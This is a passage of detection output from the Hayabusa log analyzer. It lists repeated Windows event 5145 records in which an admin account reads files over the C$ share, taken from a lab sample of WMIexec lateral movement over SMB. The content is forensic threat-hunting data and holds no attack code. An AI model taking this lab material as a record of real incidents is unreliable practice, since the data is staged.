\??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationProvider : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationProvider\c926f90d88838d450951cd6c5b41c961 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationTypes : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationTypes\3be4139a741b447ab35a2c788a2f4559 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Windows.Serf5111484# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Windows.Serf5111484#\d081d0c6a64c64fa9afe4e545f2eaa05 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.298 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.298 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\9bbf715cfb5360c95acd27b199083854 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.298 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WindowsForm0b574481# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.298 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WindowsForm0b574481#\f002202a6660cc8ce07f8ae19d6fac84 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WsatConfig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WsatConfig\30fd20e8b16392d487e0f52dfd8a5900 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\XamlBuildTask : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\XamlBuildTask\72aa615c9ea48820d317a6bed7b07213 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.360 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\XsdBuildTask : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.360 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\XsdBuildTask\b1861416b236727b9d51d4568d9f6841 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.360 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.409 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Accessibility : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.409 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Accessibility\fabe62e146147faa9fc09e8b9a63d5cc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.409 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\AuditPolicy42d3d2cc# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.409 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\AuditPolicy42d3d2cc#\9fe5c370593d72077c6ebc935bdccaf8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbmmc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbmmc\5965cfde76afc1f5c5d70d32fe0c7270 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbproxy : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbproxy\9efa8cc0254efc497ae439914bbe9207 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbwizfx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbwizfx\8feba1d1646b72a4bc348315fa7bad6b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ComSvcConfig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ComSvcConfig\44570ea6e616aa8a35b0768a4336f69d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.450 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\CustomMarshalers : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.450 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\CustomMarshalers\a5132d26ad1468bf7b6b89725e4cefce : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\dfsvc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\dfsvc\a086b75bb1e8ee361af6ed079a6b77b4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\EmbeddedLockdown : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\EmbeddedLockdown\870a6acacd5e95c0ffca82696cdb1d38 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\EventViewer : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\EventViewer\dc4701b2db7cf17a8b91db454a97c991 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ipamapi : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.482 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ipamapi\dae9598a3b2d70231e340696e284163f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.497 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.A3ec156ec# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.497 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.A3ec156ec#\e6ff20c47a7e849012d7ce8bdd777896 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.529 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.A26c32abb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.529 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.A26c32abb#\e58c4e8c63c0494a59885d5502339144 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.529 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Abf69f55a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.529 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Abf69f55a#\9f5bb7b6ff9da9d2a0649311aef761e8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B22c61a69# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B22c61a69#\a9e1bbb2f77ddf73fdc37769da51597e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B46c55d17# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B46c55d17#\acca0c1913cd50d9cfb935bc3fdcb23d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B83e9cb53# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B83e9cb53#\84fa86c4d86aa17ce68c75a1625383e0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.575 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B3325a29b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.575 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B3325a29b#\11e47175268433f2afe5bf68ea4899ae : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.575 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Baa2ca56b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.575 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Baa2ca56b#\44884740e6e261405b0440efde616082 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Bfc9dc24d# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Bfc9dc24d#\465ef4c9fe7c77ed5384c3c379fbe9b3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Build : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Build\a7bcc49edef862e86e95e8959d30ae67 : IP Address: 